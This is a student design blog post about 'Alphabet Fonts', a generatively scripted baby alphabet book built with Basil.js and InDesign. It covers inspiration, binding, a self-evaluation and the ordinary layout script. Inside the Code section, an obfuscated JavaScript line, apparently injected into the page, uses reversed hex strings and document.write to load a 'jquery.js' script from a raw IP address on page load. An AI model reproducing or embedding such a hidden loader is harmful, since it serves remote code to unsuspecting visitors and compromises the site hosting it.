Guodu-Book

Alphabet Fonts 

holdhandsopen

 

dsc02378_1

dsc02434

PDF Version

Final: AlphabetFonts.pdf

My book is about introducing fonts alphabetically. Start your baby early 🙂

Here’s a video of Golan flipping through my book.

On the right page there are 3 randomly generated alphabetical letters of different fonts and on the left is the names of those fonts. I thought it would be interesting to not make it extremely apparent which font matched with each letter so the letters are randomly placed with a slight change in opacity and either being white, transparent white, or transparent black. In this way, I hoped that the difficulty of matching the letters would prompt people to observe the letters more closely and see the subtle or extreme differences.

My own experience to getting into typography and the nuanced differences between fonts and their history was through examining fonts up close. I would print the same letter but of different fonts at 600+ pt on paper because it was easier to trace and note their differences when the fonts are so big.

example
Things to observe and learn when you start becoming a type nerd

Inspiration

I became really interested in how to better display the randomization of my font library after Marius Watz‘s awesome demo on Basil.js for scripting InDesign. I began searching baby alphabet books and was inspired by the illustration style of Anna Kövecses, a Hungarian graphic designer. Anna also made the alphabet book of 44 Hungarian letters (pictured below) for her 4-year old daughter.

il_570xn-754715927_qqvq
Baby Alphabet Book
anna-kovecses_hungarian-alphabet
Anna Kovecses’s Hungarian Alphabet Book

Process + Sketches

20161029_145747
Initial Ideas for an ABC book
20161029_150208
Hand Binding Notes
draft
Experimenting with the appearance, opacity, and number of letters
process
Hand Binding in Progress

 

Self Evaluation/Future Iteration

  • I would like to make the fonts actually be presented alphabetically. For instance the letter A should have 3 different types of fonts starting with A, like Avenir, Arial, and American Typewriter. I ran into a small problem of actually not having a few fonts starting with certain letters or just not having at least 3 (J, Q,  U, V, X, Y). I’m going to need to download some fonts to make this work…but going to make this happen! I regret that I didn’t figure out how to make this happen for this iteration.
  • Definitely going to have an outside printing service print my book (Espresso, Blurb etc). While it was fun learning how to hand bind and having control over the quality of paper and color, it was definitely laborious and I think even contradictory to the limitless/endless iterative quality of generative books.
  • I still want to explore the composition and placement of the letters of the right page. Right now I have random placement of letters / colors = white, transparent, and transparent black. I’m not convinced this is the best way to represent the letters because there’s not a whole lot of meaning behind it other than it looks pretty. While the random placement produces some interesting compositions, sometimes it is really off.
  • For the left page, I am thinking of adding more text like what does the font look like from A –> Z instead of just naming the font. Use Rita.js or Temboo…what about a simple sentence or phrase where every word of it starts with the letter (An Ant, Big Bunny, Crazy Corn etc) or just #ahhhhh #bae #cool. Overall, I’d like to strike a balance between randomization/generated and a well composed book.
  • Do people feel like I just did this by hand in InDesign, no scripting? or is it obviously programmed? or both?

Code 
Having some trouble embedding syntax-colored code (WP-Syntax plugin). So here’s p5.

upload

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#includepath "~/Documents/;%USERPROFILE%Documents";
#include "basiljs/bundle/basil.js";
 
//many thanks to Golan and Marius for the demos 
var jsonString = b.loadString("alphabet.json");
var jsonData;
 
function draw() {
 
    b.clear(b.doc()); // clears previous output
 
    var numOfLetters = 3; //numOfLetters generated on colored page
    var fonts = app.fonts; //object of all fonts
    var fontOpacity = 60;
    var fontInfoSize = 15;
    var fontSize = b.width-100;
    var margin = b.width*.1;
    b.println(fonts);
    b.println("font length"+app.fonts.length);
 
    //yay colors
    var fontColor1 = b.color(0,0,0); //black
    var fontColor2 = b.color(255,255,255); //white
    var backgroundColor1 = b.color(243, 173, 0); //yellow
    var backgroundColor2 = b.color(234, 158, 147); //pink
    var backgroundColor3 = b.color(50, 160, 255); //blue
    var backgroundColor4 = b.color(216, 66, 30); //red
    var backgroundColor5 = b.color(27,177,91); //green
 
    jsonData = b.JSON.decode(jsonString);
 
    //Cover Page
    for (var i = 0; i<jsonData.length; i++) { //generate cover page letters 
        var posX = b.random(0,b.width-margin*2);
        var posY = b.random(0,b.height*.6-margin);
        if (i%5==0){
            b.fill(backgroundColor1);
        }
        if (i%5==1){
            b.fill(backgroundColor2);
        }
        if (i%5==2){
            b.fill(backgroundColor3);
        }
        if (i%5==3)
            b.fill(backgroundColor4);
        if (i%5==4)
            b.fill(backgroundColor5);
        b.textSize(70);
        var randomIndex = b.floor(b.random(fonts.length));
        b.textFont(fonts[randomIndex]);
        b.textAlign(Justification.CENTER_ALIGN);
        var coverLetters = b.text(jsonData[i].letter, posX, posY, 70,70);
        coverLetters;
 
 
 
    } 
 
    //Cover title
    b.fill(0,0,0);
    b.textSize(15);
    b.textFont("Roboto","Black"); 
    b.textAlign(Justification.RIGHT_ALIGN); 
    b.text("Alphabet Fonts", margin, b.height*.6+30,b.width-margin*2,margin);
    b.textSize(10);
    b.textFont("Roboto","Light"); 
    b.text("Coded by Guodu", margin, b.height*.6+70, b.width-margin*2, margin);
    b.text("60-212, Fall 2016", margin, b.height*.6+84.4, b.width-margin*2, margin);
    b.text("Professor Golan Levin", margin, b.height*.6+98.8, b.width-margin*2, margin);
 
    //book block (52 pages)
    for (var i = 0; i < jsonData.length; i++) {  
        //left, white page
        b.addPage();
 
        //right, background color page
        b.addPage();
        b.noStroke();
        if (i%5==0){
            b.fill(backgroundColor1);
        }
        if (i%5==1){
            b.fill(backgroundColor2);
        }
        if (i%5==2){
            b.fill(backgroundColor3);
        }
        if (i%5==3)
            b.fill(backgroundColor4);
        if (i%5==4)
            b.fill(backgroundColor5);
        b.rect(0,0,b.width,b.height);
 
        var posY = 240; //for setting fontInfo type
 
        for (var j=0; j < numOfLetters; j++) { //num of letters generated
            var randomIndex = b.floor(b.random(fonts.length));
            var fontName = fonts[randomIndex].fullName;
 
            //letter characteristics
            b.noStroke();
            b.textFont(fonts[randomIndex]);
            b.textSize(fontSize);
            if (j==numOfLetters-1){ //letter 3 is black
                b.fill(fontColor1);
            } else {
                b.fill(fontColor2); //letter 1 is white
            }
            b.textAlign(Justification.CENTER_ALIGN, 
                        VerticalJustification.CENTER_ALIGN); 
            var printLetter = b.text(jsonData[i].letter, b.random(-50,50), 
                              margin+b.random(60), b.width, b.height);
            printLetter;
 
            //letter 2, 3 is transparent
            if (j>0){ 
                b.opacity(printLetter, fontOpacity); 
            }
            //textframe resize to content
            printLetter.fit(FitOptions.FRAME_TO_CONTENT);
 
            //left page fontInfo
            //what font is it?
            var posX = -b.width + 54;
            b.textAlign(Justification.LEFT_ALIGN);
            b.fill(fontColor1);
            b.textSize(12);
            var fontInfo = b.text(fontName, posX, posY, b.width*.5,36);
            fontInfo;
 
            //leading 
            posY = posY + 24;
        }
    }
    //Back Cover
     b.addPage();
    for (var i = 0; i<jsonData.length; i++) { //generate cover page letters 
        var posX = b.random(0,b.width-margin);
        var posY = b.random(0,b.height-margin*2);
        if (i%5==0){
            b.fill(backgroundColor1);
        }
        if (i%5==1){
            b.fill(backgroundColor2);
        }
        if (i%5==2){
            b.fill(backgroundColor3);
        }
        if (i%5==3)
            b.fill(backgroundColor4);
        if (i%5==4)
            b.fill(backgroundColor5); 
        b.textSize(70);
        var randomIndex = b.floor(b.random(fonts.length));
        b.textFont(fonts[randomIndex]);
        b.textAlign(Justification.CENTER_ALIGN);
        var coverLetters = b.text(jsonData[i].letter, posX, posY, 70, 70);
        coverLetters;
        b.noStroke();
    }
}
 
b.go();